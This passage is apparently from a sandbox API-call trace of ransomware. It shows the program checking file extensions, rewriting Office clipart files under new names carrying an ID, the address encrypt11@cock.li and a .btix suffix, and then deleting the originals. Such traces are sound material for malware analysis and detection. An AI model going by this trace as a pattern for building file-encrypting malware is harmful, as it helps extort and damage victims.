[0141.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0141.400] lstrlenW (lpString=".dbf") returned 4 [0141.400] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0141.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0141.400] lstrlenW (lpString=".1cd") returned 4 [0141.401] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0141.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0141.401] lstrlenW (lpString=".jpg") returned 4 [0141.401] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0141.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0141.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0141.401] lstrlenW (lpString=".doc") returned 4 [0141.401] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0141.401] lstrlenW (lpString=".docx") returned 5 [0141.401] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0141.401] lstrlenW (lpString=".pdf") returned 4 [0141.401] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0141.401] lstrlenW (lpString=".xls") returned 4 [0141.401] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0141.401] lstrlenW (lpString=".xlsx") returned 5 [0141.401] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0141.401] lstrlenW (lpString=".ppt") returned 4 [0141.401] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0141.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0141.401] lstrlenW (lpString=".zip") returned 4 [0141.401] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0141.401] lstrlenW (lpString=".rar") returned 4 [0141.401] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0141.401] lstrlenW (lpString=".bz2") returned 4 [0141.401] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0141.401] lstrlenW (lpString=".7z") returned 3 [0141.402] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0141.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0141.402] lstrlenW (lpString=".dbf") returned 4 [0141.402] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0141.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0141.402] lstrlenW (lpString=".1cd") returned 4 [0141.402] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0141.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0141.402] lstrlenW (lpString=".jpg") returned 4 [0141.402] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0141.402] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0141.402] lstrlenW (lpString="J0102984.WMF") returned 12 [0141.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0141.438] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=17040) returned 1 [0141.438] CloseHandle (hObject=0x540) returned 1 [0141.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 0x220 [0141.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0141.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0141.523] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.527] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.713] GetLastError () returned 0x0 [0141.713] ReadFile (in: hFile=0x38c, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x4290, lpOverlapped=0x0) returned 1 [0141.720] WriteFile (in: hFile=0x380, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x42a0, lpOverlapped=0x0) returned 1 [0141.721] ReadFile (in: hFile=0x38c, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0141.721] WriteFile (in: hFile=0x380, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0141.721] SetEndOfFile (hFile=0x380) returned 1 [0141.721] CloseHandle (hObject=0x380) returned 1 [0141.721] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.721] SetEndOfFile (hFile=0x38c) returned 1 [0141.724] CloseHandle (hObject=0x38c) returned 1 [0141.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0141.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0141.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0141.726] lstrlenW (lpString=".doc") returned 4 [0141.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.726] lstrlenW (lpString=".docx") returned 5 [0141.726] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0141.726] lstrlenW (lpString=".pdf") returned 4 [0141.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.726] lstrlenW (lpString=".xls") returned 4 [0141.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.726] lstrlenW (lpString=".xlsx") returned 5 [0141.726] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0141.726] lstrlenW (lpString=".ppt") returned 4 [0141.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0141.726] lstrlenW (lpString=".zip") returned 4 [0141.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.726] lstrlenW (lpString=".rar") returned 4 [0141.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.726] lstrlenW (lpString=".bz2") returned 4 [0141.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.727] lstrlenW (lpString=".7z") returned 3 [0141.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0141.727] lstrlenW (lpString=".dbf") returned 4 [0141.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0141.727] lstrlenW (lpString=".1cd") returned 4 [0141.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0141.727] lstrlenW (lpString=".jpg") returned 4 [0141.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0141.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0141.727] lstrlenW (lpString=".doc") returned 4 [0141.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.727] lstrlenW (lpString=".docx") returned 5 [0141.727] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0141.727] lstrlenW (lpString=".pdf") returned 4 [0141.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.727] lstrlenW (lpString=".xls") returned 4 [0141.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.727] lstrlenW (lpString=".xlsx") returned 5 [0141.727] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0141.727] lstrlenW (lpString=".ppt") returned 4 [0141.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0141.728] lstrlenW (lpString=".zip") returned 4 [0141.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.728] lstrlenW (lpString=".rar") returned 4 [0141.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.728] lstrlenW (lpString=".bz2") returned 4 [0141.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.728] lstrlenW (lpString=".7z") returned 3 [0141.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0141.728] lstrlenW (lpString=".dbf") returned 4 [0141.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0141.728] lstrlenW (lpString=".1cd") returned 4 [0141.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0141.728] lstrlenW (lpString=".jpg") returned 4 [0141.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.728] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0141.728] lstrlenW (lpString="J0103402.WMF") returned 12 [0141.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0141.738] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=44948) returned 1 [0141.738] CloseHandle (hObject=0x508) returned 1 [0141.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 0x220 [0141.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0141.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0141.739] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.739] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0141.739] GetLastError () returned 0x0 [0141.739] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0xaf94, lpOverlapped=0x0) returned 1 [0141.746] WriteFile (in: hFile=0x54c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xafa0, lpOverlapped=0x0) returned 1 [0141.747] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0141.748] WriteFile (in: hFile=0x54c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0141.748] SetEndOfFile (hFile=0x54c) returned 1 [0141.748] CloseHandle (hObject=0x54c) returned 1 [0141.748] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.748] SetEndOfFile (hFile=0x508) returned 1 [0141.751] CloseHandle (hObject=0x508) returned 1 [0141.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0141.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0141.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0141.752] lstrlenW (lpString=".doc") returned 4 [0141.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.752] lstrlenW (lpString=".docx") returned 5 [0141.752] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0141.752] lstrlenW (lpString=".pdf") returned 4 [0141.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.752] lstrlenW (lpString=".xls") returned 4 [0141.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.752] lstrlenW (lpString=".xlsx") returned 5 [0141.752] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0141.752] lstrlenW (lpString=".ppt") returned 4 [0141.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0141.752] lstrlenW (lpString=".zip") returned 4 [0141.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.753] lstrlenW (lpString=".rar") returned 4 [0141.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.753] lstrlenW (lpString=".bz2") returned 4 [0141.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.753] lstrlenW (lpString=".7z") returned 3 [0141.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0141.753] lstrlenW (lpString=".dbf") returned 4 [0141.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0141.753] lstrlenW (lpString=".1cd") returned 4 [0141.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0141.753] lstrlenW (lpString=".jpg") returned 4 [0141.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0141.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0141.753] lstrlenW (lpString=".doc") returned 4 [0141.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.753] lstrlenW (lpString=".docx") returned 5 [0141.753] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0141.753] lstrlenW (lpString=".pdf") returned 4 [0141.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.753] lstrlenW (lpString=".xls") returned 4 [0141.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.753] lstrlenW (lpString=".xlsx") returned 5 [0141.753] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0141.753] lstrlenW (lpString=".ppt") returned 4 [0141.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0141.754] lstrlenW (lpString=".zip") returned 4 [0141.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.754] lstrlenW (lpString=".rar") returned 4 [0141.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.754] lstrlenW (lpString=".bz2") returned 4 [0141.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.754] lstrlenW (lpString=".7z") returned 3 [0141.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0141.754] lstrlenW (lpString=".dbf") returned 4 [0141.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0141.754] lstrlenW (lpString=".1cd") returned 4 [0141.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0141.754] lstrlenW (lpString=".jpg") returned 4 [0141.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.754] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0141.754] lstrlenW (lpString="J0103850.WMF") returned 12 [0141.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0141.756] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=23596) returned 1 [0141.756] CloseHandle (hObject=0x508) returned 1 [0141.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 0x220 [0141.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0141.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0141.757] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.757] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0141.758] GetLastError () returned 0x0 [0141.758] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x5c2c, lpOverlapped=0x0) returned 1 [0142.022] WriteFile (in: hFile=0x54c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x5c30, lpOverlapped=0x0) returned 1 [0142.024] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.024] WriteFile (in: hFile=0x54c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0142.024] SetEndOfFile (hFile=0x54c) returned 1 [0142.024] CloseHandle (hObject=0x54c) returned 1 [0142.024] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.024] SetEndOfFile (hFile=0x508) returned 1 [0142.027] CloseHandle (hObject=0x508) returned 1 [0142.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 1 [0142.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0142.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0142.028] lstrlenW (lpString=".doc") returned 4 [0142.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.028] lstrlenW (lpString=".docx") returned 5 [0142.028] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0142.028] lstrlenW (lpString=".pdf") returned 4 [0142.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.028] lstrlenW (lpString=".xls") returned 4 [0142.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.029] lstrlenW (lpString=".xlsx") returned 5 [0142.029] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0142.029] lstrlenW (lpString=".ppt") returned 4 [0142.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0142.029] lstrlenW (lpString=".zip") returned 4 [0142.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.029] lstrlenW (lpString=".rar") returned 4 [0142.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.029] lstrlenW (lpString=".bz2") returned 4 [0142.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.029] lstrlenW (lpString=".7z") returned 3 [0142.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0142.029] lstrlenW (lpString=".dbf") returned 4 [0142.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0142.029] lstrlenW (lpString=".1cd") returned 4 [0142.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF") returned 68 [0142.029] lstrlenW (lpString=".jpg") returned 4 [0142.029] lstrcmpiW 